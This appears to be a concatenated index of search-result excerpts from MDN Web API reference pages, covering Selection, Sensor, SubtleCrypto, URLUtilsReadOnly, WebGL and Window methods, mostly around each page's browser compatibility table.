ill remove all ranges except the first. */ s = window.getselection(); if(s.rangecount > 1) { for(var i = 1; i < s.rangecount; i++) { s.removerange(s.getrangeat(i)); } } specifications specification status comment selection apithe definition of 'selection.removerange()' in that specification. working draft current browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetremoverange experimentalchrome full support ...
Selection.toString() - Web APIs
object is passed to requires a string: alert(window.getselection()) // what is called alert(window.getselection().tostring()) // what is actually being effectively called. specifications specification status comment selection apithe definition of 'selection: tostring()' in that specification. working draft current browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome full support ...
Selection API - Web APIs
f 'selection' in that specification. working draft the selection api specification is based on the html editing apis specification and focuses on the selection-related functionality. html editing apisthe definition of 'selection' in that specification. editor's draft initial (older) definition, which is now outdated. browser compatibility selection the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselection experimentalchrome full support ...
Sensor APIs - Web APIs
on to use accelerometer sensor is denied.'); return; } // use the sensor. }); an alternative approach is to attempt to use the error and listen for the securityerror. const sensor = new absoluteorientationsensor(); sensor.start(); sensor.onerror = event => { if (event.error.name === 'securityerror') console.log("no permissions to use absoluteorientationsensor."); }; the following
table describes for each sensor type, the name required for the permissions api, the <iframe> element's allow attribute and the feature-policy directive. sensor permissions sensor permission/feature policy name absoluteorientationsensor 'accelerometer', 'gyroscope', and 'magnetometer' accelerometer 'accelerometer' ambientlightsensor 'ambient-light-s...
ServiceWorkerRegistration.navigationPreload - Web APIs
nt service worker registration. syntax var navigationpreloadmanager = serviceworkerregistration.navigationpreload; value an instance of navigationpreloadmanager. specifications specification status comment service workersthe definition of 'navigationpreload' in that specification. working draft initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnavigationpreload experimentalchrome full support...
SharedWorkerGlobalScope.applicationCache - Web APIs
redworkerglobalscope interface returns the applicationcache object for the worker (see using the application cache). syntax var nameobj = self.applicationcache; value an applicationcache. example if a shared worker has an appcache associated with it, you can return a reference to the cache using self.applicationcache from inside the shared worker. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetapplicationcachechrome full support ...
SharedWorkerGlobalScope.onconnect - Web APIs
le (run shared worker.) note: the data property of the event object used to be null in firefox. as of version 65 it is now initialized to an empty string, as per spec (bug 1508824). specifications specification status comment html living standardthe definition of 'onconnect' in that specification. living standard browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonconnectchrome full support ...
SpeechRecognitionError.error - Web APIs
ting the recognition failed. not-allowed the user agent disallowed any speech input from occurring for reasons of security, privacy or user preference. service-not-allowed the user agent disallowed the requested speech recognition service, either because the user agent doesn't support it or because of reasons of security, privacy or user preference. in this case it would allow another more sui
table speech recognition service to be used instead. bad-grammar there was an error in the speech recognition grammar or semantic tags, or the chosen grammar format or semantic tag format was unsupported. language-not-supported the language was not supported. examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detec...
SpeechRecognitionErrorEvent.error - Web APIs
ting the recognition failed. not-allowed the user agent disallowed any speech input from occurring for reasons of security, privacy or user preference. service-not-allowed the user agent disallowed the requested speech recognition service, either because the user agent doesn't support it or because of reasons of security, privacy or user preference. in this case it would allow another more sui
table speech recognition service to be used instead. bad-grammar there was an error in the speech recognition grammar or semantic tags, or the chosen grammar format or semantic tag format was unsupported. language-not-supported the language was not supported. examples var recognition = new speechrecognition(); recognition.onerror = function(event) { console.log('speech recognition error detec...
SpeechSynthesisUtterance.voice - Web APIs
the voice property of the speechsynthesisutterance interface gets and sets the voice that will be used to speak the utterance. this should be set to one of the speechsynthesisvoice objects returned by speechsynthesis.getvoices(). if not set by the time the utterance is spoken, the voice used will be the most sui
table default voice available for the utterance's lang setting. syntax var myvoice = speechsynthesisutteranceinstance.voice; speechsynthesisutteranceinstance.voice = speechsynthesisvoiceinstance; value a speechsynthesisvoice object. examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... input...
StereoPannerNode.StereoPannerNode() - Web APIs
n an output image. the value -1 represents full left and 1 represents full right. the default value is 0. return value a new stereopannernode object instance. specifications specification status comment web audio apithe definition of 'stereopannernode()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetstereopannernode() constructorchrome full support...
StorageManager.persist() - Web APIs
stent) console.log("storage will not be cleared except by explicit user action"); else console.log("storage may be cleared by the ua under storage pressure."); }); specifications specification status comment storagethe definition of 'persist' in that specification. living standard initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpersistchrome full support ...
Using readable streams - Web APIs
the streams api’s readable stream functionality? this article explains the basics. note: this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information on wri
table streams try using wri
table streams instead. browser support you can consume fetch body objects as streams and create your own custom readable streams in firefox 65+ and chrome 42+ (and equivalent chromium-based browsers). pipe chains are only supported in chrome at the moment, and that functionality is subject to change. finding some examples we will look at various examples in this article,...
StylePropertyMapReadOnly.get() - Web APIs
rty to retrieve the value of. return value a cssstylevalue object. examples let's get just a few properties and values. let's start by creating a link inside a paragraph in our html, and adding a definition list which we will populate with javascript: <p> <a href="https://example.com">link</a> </p> <dl id="regurgitation"></dl> we add a bit of css, including a custom property and an inher
table property: p { font-weight: bold; } a { --colour: red; color: var(--colour); } we use the element's computedstylemap() to return a stylepropertymapreadonly object. we create an array of properties of interest and use the stylepropertymapreadonly's get() method to get only those values. // get the element const myelement = document.queryselector('a'); // get the <dl> we'll be populating...
SubtleCrypto.deriveBits() - Web APIs
th an arraybuffer containing the derived bits. exceptions the promise is rejected when one of the following exceptions are encountered: invalidaccesserror raised when the base key is not a key for the requested derivation algorithm or if the cryptokey.usages value of that key doesn't contain derivekey. notsupported raised when trying to use an algorithm that is either unknown or isn't sui
table for derivation, or if the algorithm requested for the derived key doesn't define a key length. supported algorithms see the supported algorithms section of the derivekey() documentation. examples note: you can try the working examples on github. ecdh in this example alice and bob each generate an ecdh key pair. we then use alice's private key and bob's public key to derive a shared secr...
SubtleCrypto.generateKey() - Web APIs
use the generatekey() method of the subtlecrypto interface to generate a new key (for symmetric algorithms) or key pair (for public-key algorithms). syntax const result = crypto.subtle.generatekey(algorithm, extrac
table, keyusages); parameters algorithm is a dictionary object defining the type of key to generate and providing extra algorithm-specific parameters. for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedkeygenparams object. for ecdsa or ecdh: pass an eckeygenparams object. for hmac: pass an hmackeygenparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass an aeskeygenparams object. extrac
table is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). keyusages is an...
SubtleCrypto.verify() - Web APIs
ature is to be verified. return value result is a promise that fulfills with a boolean: true if the signature is valid, false otherwise. exceptions the promise is rejected when the following exception is encountered: invalidaccesserror raised when the encryption key is not a key for the requested verifying algorithm or when trying to use an algorithm that is either unknown or isn't sui
table for a verify operation. supported algorithms the verify() method supports the same algorithms as the sign() method. examples note: you can try the working examples out on github. rsassa-pkcs1-v1_5 this code uses a public key to verify a signature. see the complete code on github. /* fetch the contents of the "message" textbox, and encode it in a form we can use for sign operation. */ fu...
TaskAttributionTiming.containerId - Web APIs
eing implicated, on the whole, for a long task. syntax var containerid = taskattributiontiming.containerid; value a domstring containing the containers id attribute. specifications specification status comment long tasks api 1the definition of 'containerid' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontainerid experimentalchrome full support ...
URLUtilsReadOnly.origin - Web APIs
kers. syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification. living standard initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorigin experimentalchrome no support ...
URLUtilsReadOnly.pathname - Web APIs
es // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.pathname var result = window.self.pathname; // returns:'/urlutilsreadonly.pathname' specifications specification status comment urlthe definition of 'urlutilsreadonly.pathname' in that specification. living standard initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpathname experimentalchrome no support ...
URLUtilsReadOnly.port - Web APIs
yntax string = object.port; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.port var result = window.self.port; // returns:'80' specifications specification status comment urlthe definition of 'urlutilsreadonly.port' in that specification. living standard initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetport experimentalchrome no support ...
URLUtilsReadOnly.protocol - Web APIs
object.protocol; examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.protocol; // returns:'https:' specifications specification status comment urlthe definition of 'urlutilsreadonly.protocol' in that specification. living standard initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprotocol experimentalchrome no support ...
URLUtilsReadOnly.search - Web APIs
ect.search; examples // in a web worker, on the page https://developer.mozilla.org/docs/urlutilsreadonly.href?t=67 var result = window.self.search; // returns:'?t=67' specifications specification status comment urlthe definition of 'urlutilsreadonly.search' in that specification. living standard initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsearch experimentalchrome no support ...
URLUtilsReadOnly.toString() - Web APIs
nly.tostring() stringifier method returns a domstring containing the whole url. it is a synonym for urlutilsreadonly.href. syntax string = object.tostring(); examples // in a web worker, on the page https://developer.mozilla.org/urlutilsreadonly.href var result = window.self.tostring(); // returns:'https://developer.mozilla.org/urlutilsreadonly.href' browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettostring experimentalchrome no support ...
URLUtilsReadOnly - Web APIs
domstring containing a '?' followed by the parameters of the url. urlutilsreadonly.hash read only is a domstring containing a '#' followed by the fragment identifier of the url. methods this interface doesn't inherit any methods. urlutilsreadonly.tostring() returns a domstring containing the whole url. it is a synonym for urlutilsreadonly.href. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneturlutilsreadonlychrome no support ...
Using the User Timing API - Web APIs
orted", 1); return; } log("clear measures", 1); if (typeof obj == "string") { log("... cleared '" + obj + "' measure(s)", 1); performance.clearmeasures(obj); } else { // no argument specified so clear all measures log("... cleared all measures", 1); performance.clearmeasures(); } } interoperability as shown in the performance interface's browser compatibility
table, the user timing methods are broadly implemented by desktop and mobile browsers (the only exceptions are no support for desktop safari and mobile safari). see also user timing standard; w3c editor's draft a primer for web performance timing apis; xiaoqian wu; w3c editor's draft ...
User Timing API - Web APIs
all measures. removing performance measures to remove a specific measure from the performance timeline, call performance.clearmeasures(name) where name is the name of the measure(s) you want removed. if this method is called with no arguments, all measure type entries will be removed from the performance timeline. interoperability as shown in the performance interface's browser compatibility
table, the user timing methods are broadly implemented by desktop and mobile browsers (the only exceptions are desktop safari and mobile safari, however the safari technology preview 24 has support). to test your browser's support for this api, run the perf-api-support application. see also user timing standard; w3c editor's draft caniuse data a primer for web performance timing apis; xiaoqian ...
VideoTrack.id - Web APIs
the track represented by the videotrack. this id can be used with the videotracklist.gettrackbyid() method to locate a specific track within the media associated with a media element. the track id can also be used as the fragment of a url that loads the specific track (if the media supports media fragments). syntax var trackid = videotrack.id; value a domstring which identifies the track, sui
table for use when calling gettrackbyid() on an videotracklist such as the one specified by a media element's videotracks property. specifications specification status comment html living standardthe definition of 'videotrack: id' in that specification. living standard ...
WaveShaperNode.WaveShaperNode() - Web APIs
hould be used when applying the shaping curve. valid values are 'none', '2x', or '4x'. the default is 'none'. return value a new waveshapernode object instance. specifications specification status comment web audio apithe definition of 'waveshapernode()' in that specification. working draft initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwaveshapernode() constructorchrome full support ...
WebGL2RenderingContext.samplerParameter[if]() - Web APIs
the texture coordinate s. gl.texture_wrap_t: a glenum specifying the texture wrapping function for the texture coordinate t. param a glint (samplerparameteri) or a glfloat (samplerparameterf) specifying a value for pname. return value none. examples var sampler = gl.createsampler(); gl.samplerparameteri(sampler, gl.texture_mag_filter, gl.nearest); specifications the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsamplerparameterichrome full support ...
WebGL2RenderingContext.texImage3D() - Web APIs
44 gl.rgba16f gl.rgba32f gl.rgba8ui width a glsizei specifying the width of the texture. height a glsizei specifying the height of the texture. depth a glsizei specifying the depth of the texture. border a glint specifying the width of the border. must be 0. format a glenum specifying the format of the texel data. the correct combinations with internalformat are listed in this
table. type a glenum specifying the data type of the texel data. possible values: gl.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits. gl.unsigned_short_4_4_4_4: 4 red bits, 4 green bits, 4 blue bits, 4 alpha bits. gl.unsigned_short_5_5_5_1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit. gl.byte gl.unsigned_short gl.shor...
WebGL2RenderingContext.uniform[1234][uif][v]() - Web APIs
the webgl2renderingcontext.uniform[1234][uif][v]() methods of the webgl api specify values of uniform variables. ui stands for unsigned integer, i for integer, f for float, and v for vector. not all combinations are valid: u cannot be combined with f. see the syntax
table below. equivalent regex: uniform[1234](u?i|f)v? syntax void gl.uniform1ui(location, v0); void gl.uniform2ui(location, v0, v1); void gl.uniform3ui(location, v0, v1, v2); void gl.uniform4ui(location, v0, v1, v2, v3); void gl.uniform1fv(location, data, optional srcoffset, optional srclength); void gl.uniform2fv(location, data, optional srcoffset, optional srclength); void gl.uniform3fv(location, data, optional srcoffset, optional srclength); void gl.uniform4fv(location, data, optional srcoffset, optional srclengt...
WebGLRenderingContext.getTexParameter() - Web APIs
se_level glint texture mipmap level any int values. gl.texture_compare_func glenum comparison function gl.lequal (default value), gl.gequal, gl.less, gl.greater, gl.equal, gl.notequal, gl.always, gl.never. gl.texture_compare_mode glenum texture comparison mode gl.none (default value), gl.compare_ref_to_texture. gl.texture_immu
table_format glboolean immutability of the texture format and size true or false. gl.texture_immu
table_levels gluint ? any uint values. gl.texture_max_level glint maximum texture mipmap array level any int values. gl.texture_max_lod glfloat texture maximum level-of-detail value any float values. gl.texture_m...
WebGLRenderingContext.texImage2D() - Web APIs
gl.rgba16f gl.rgba32f gl.rgba8ui width a glsizei specifying the width of the texture. height a glsizei specifying the height of the texture. border a glint specifying the width of the border. must be 0. format a glenum specifying the format of the texel data. in webgl 1, this must be the same as internalformat (see above). in webgl 2, the combinations are listed in this
table. type a glenum specifying the data type of the texel data. possible values: gl.unsigned_byte: 8 bits per channel for gl.rgba gl.unsigned_short_5_6_5: 5 red bits, 6 green bits, 5 blue bits. gl.unsigned_short_4_4_4_4: 4 red bits, 4 green bits, 4 blue bits, 4 alpha bits. gl.unsigned_short_5_5_5_1: 5 red bits, 5 green bits, 5 blue bits, 1 alpha bit. when using the webgl_depth_texture ex...
Compressed texture formats - Web APIs
pressedtexsubimage[23]d instead of teximage2d calls. note that webgl makes no functionality available to compress or decompress textures: they must already be in a compressed format and can then be directly uploaded to video memory. all formats support 2d textures. which formats support texture_2d_array and texture_3d targets (in combination with compressedteximage3d) are noted in the following
table. compressed texture extensions and which targets they support. extension notes texture_2d_array texture_3d webgl_compressed_texture_astc yes yes webgl_compressed_texture_atc not usable with compressedtexsubimage2d/copytexsubimage2d. no no webgl_compressed_texture_etc yes no webgl_compressed_texture_etc1* ...
Matrix math for the web - Web APIs
date loop. translation matrix a translation matrix is based upon the identity matrix, and is used in 3d graphics to move a point or object in one or more of the three directions (x, y, and/or z). the easiest way to think of a translation is like picking up a coffee cup. the coffee cup must be kept upright and oriented the same way so that no coffee is spilled. it can move up in the air off the
table and around the air in space. you can't actually drink the coffee using only a translation matrix, because to drink it, you have to be able to tilt or rotate the cup to pour the coffee into your mouth. we'll look at the type of matrix (cleverly called a rotation matrix) you use to do this later. let x = 50; let y = 100; let z = 0; let translationmatrix = [ 1, 0, 0, 0, 0, 1, ...
Improving compatibility using WebRTC adapter.js - Web APIs
in addition, some browsers still have prefixes on some or all webrtc apis. while you can manually code around these issues, there is an easier way. the webrtc organization provides on github the webrtc adapter to work around compatibility issues in different browsers' webrtc implementations. the adapter is a javascript shim which lets your code to be written to the specification so that it will "just work" in all browsers with webrtc support. there's no need to conditionally use prefixed apis or implement other workarounds. ...
WebRTC Statistics API - Web APIs
hose kind is video. this way, we look only at the video-related statistics for the local rtcrtpreceiver responsible for receiving the streamed media. commonly used statistics reference the rtcstatsreport object contains a map of named objects based one of the rtcstats dictionary's subclasses. upon looking up a statistic category by name, you get an object containing the corresponding data. the
table below shows the statistic categories and the corresponding dictionaries; for each statistic category, the full hierarchy of rtcstats-based dictionaries are listed, so you can easily find all the available values. mapping of statistic category names to the dictionaries they implement statistic category name (rtcstatstype) description dictionaries implemented candidate...
Writing WebSocket servers - Web APIs
rotocol, but it's worth mentioning here: your server must keep track of clients' sockets so you don't keep handshaking again with clients who have already completed the handshake. the same client ip address can try to connect multiple times. however, the server can deny them if they attempt too many connections in order to save itself from denial-of-service attacks. for example, you might keep a
table of usernames or id numbers along with the corresponding websocket and other data that you need to associate with that connection. exchanging data frames either the client or the server can choose to send a message at any time — that's the magic of websockets. however, extracting information from these so-called "frames" of data is a not-so-magical experience. although all frames follow the sa...
Web Animations API - Web APIs
for browsers and developers to describe animations on dom elements. to get more information on the concepts behind the api and how to use it, read using the web animations api. web animations interfaces animation provides playback controls and a timeline for an animation node or source. can take an object created with the keyframeeffect() constructor. keyframeeffect describes sets of anima
table properties and values, called keyframes and their timing options. these can then be played using the animation() constructor. animationtimeline represents the timeline of animation. this interface exists to define timeline features (inherited by documenttimeline and future timeline objects) and is not itself accessed by developers. animationevent actually part of css animations. documenttime...
Basic concepts behind Web Audio API - Web APIs
ar for processing. audio channels different audio buffers contain different numbers of channels: from the more basic mono (only one channel) and stereo (left and right channels), to more complex sets like quad and 5.1, which have different sound samples contained in each channel, leading to a richer sound experience. ...
Using the Web Audio API - Web APIs
and stereo panning. we could make this a lot more complex, but this is ideal for simple learning at this stage. check out the final demo here on codepen, or see the source code on github. browser support modern browsers have good support for most features of the web audio api. there are a lot of features of the api, so for more exact information, you'll have to check the browser compatibility
tables at the bottom of each reference page. audio graphs everything within the web audio api is based around the concept of an audio graph, which is made up of nodes. the web audio api handles audio operations inside an audio context, and has been designed to allow modular routing. basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. you h...
Using Web Workers - Web APIs
ion on transferable objects, performance, and feature-detection for this method, read transferable objects: lightning fast! on html5 rocks. embedded workers there is not an "official" way to embed the code of a worker within a web page, like <script> elements do for normal scripts. but a <script> element that does not have a src attribute and has a type attribute that does not identify an execu
table mime type can be considered a data block element that javascript could use. "data blocks" is a more general feature of html5 that can carry almost any textual data. so, a worker could be embedded in this way: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>mdn example - embedded worker</title> <script type="text/js-worker"> // this script won't be parsed by js engines because its...
window.cancelIdleCallback() - Web APIs
ndow.requestidlecallback() when the callback was established. return value undefined. example see our complete example in the article cooperative scheduling of background tasks api. specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcancelidlecallback experimentalchrome full suppor...
Window.customElements - Web APIs
s.attachshadow({mode: 'open'}) .appendchild(template.clonenode(true)); } } ); see our web-components-examples repo for more usage examples. specification specification status comment html living standardthe definition of 'window.customelements' in that specification. living standard initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcustomelementschrome full support ...
Window.devicePixelRatio - Web APIs
position: relative; margin: auto; height: 1.2em; text-align: right; bottom: 0; right: 1em; font-weight: bold; } result specifications specification status comment css object model (cssom) view modulethe definition of 'window.devicepixelratio' in that specification. working draft initial definition browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdevicepixelratiochrome full support ...
Window.event - Web APIs
ragile, in that there may be situations in which the returned event is not the expected value. in addition, window.event is not accurate for events dispatched within shadow trees. specifications specification status comment domthe definition of 'window.event' in that specification. living standard initial definition. browser compatibility the compatibility
table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneteventchrome full support ...
Window.minimize() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
Window.open() - Web APIs
majority of users. new windows can have menubar missing, scrollbars missing, status bar missing, window resizability disabled, etc.; new tabs cannot be missing those functionalities or toolbars (or at least, the toolbars that are present by default). therefore, tab-browsing is preferred by a lot of users because the normal user-interface of the browser window they prefer is kept intact, remains s
table. opening new windows, even with reduced features, uses considerably a lot of the user's system resources (cpu, ram) and involves considerably a lot of coding in the source code (security management, memory management, various code branchings sometimes quite complex, window frame/chrome/toolbars building, window positioning and sizing, etc.). opening new tabs is less demanding on the user's syste...
Window.openDialog() - Web APIs
tvals object in the dialog code as described below, you can now access them via the retvals array after the opendialog() call returns. inside the dialog code, you can set the properties as follows: var retvals = window.arguments[2]; retvals.address = enteredaddress; retvals.delivery = "immediate"; specification this is not part of any specification. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetopendialog non-standardchrome no support ...
Window.print() - Web APIs
e current document. in most browsers, this method will block while the print dialog is open. however in more recent versions of safari, it may return immediately. syntax window.print() specification specification status comment html living standardthe definition of 'print()' in that specification. living standard browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetprintchrome full support ...
Window.prompt() - Web APIs
etimes cast the value given by the user. for example, if their answer should be a number, you should cast the value to number. const anumber = number(window.prompt("type a number", "")); specification specification status comment html living standardthe definition of 'prompt()' in that specification. living standard browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpromptchrome full support ...
Window.releaseEvents() - Web APIs
et, event.resize, event.select, event.submit, event.unload. example window.releaseevents(event.keypress) notes note that you can pass a list of events to this method using the following syntax: window.releaseevents(event.keypress | event.keydown | event.keyup). see also window.captureevents ( ). specification this is not part of any specification. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreleaseevents deprecatednon-standardchrome full s...
window.requestIdleCallback() - Web APIs
g the next idle period, even if doing so risks causing a negative performance impact. example see our complete example in the article cooperative scheduling of background tasks api. specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrequestidlecallback experimentalchrome full suppo...
Window.resizeBy() - Web APIs
otes this method resizes the window relative to its current size. to resize the window in absolute terms, use window.resizeto(). creating and resizing an external window for security reasons, it's no longer possible in firefox for a website to change the default size of a window in a browser if the window wasn’t created by window.open(), or contains more than one tab. see the compatability
table for details on the change. even if you create window by window.open() it is not resizable by default. to make the window resizable, you must open it with the "resizable" feature. // create resizable window myexternalwindow = window.open("http://myurl.domain", "mywindowname", "resizable"); // resize window to 500x500 myexternalwindow.resizeto(500, 500); // make window relatively smaller to 4...
Window.restore() - Web APIs
if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
Window.routeEvent() - Web APIs
/ thunderbird 24 / seamonkey 2.21)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the window method routeevent(), which is obsolete and no longer available, used to be called to forward an event to the next object that has asked to capture events. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetrouteevent deprecatednon-standardchrome no suppor...
Window.scroll() - Web APIs
e window.scrollby(), window.scrollbylines(), and window.scrollbypages(). for scrolling elements, see element.scrolltop and element.scrollleft. specification specification status comment css object model (cssom) view modulethe definition of 'window.scroll()' in that specification. working draft initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollchrome full support ...
Window.scrollBy() - Web APIs
amount, whereas window.scroll() scrolls to an absolute position in the document. see also window.scrollbylines() and window.scrollbypages(). specification specification status comment css object model (cssom) view modulethe definition of 'window.scrollby()' in that specification. working draft initial definition. browser compatibility the compatibility
table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetscrollbychrome full support ...
Window.setCursor() - Web APIs
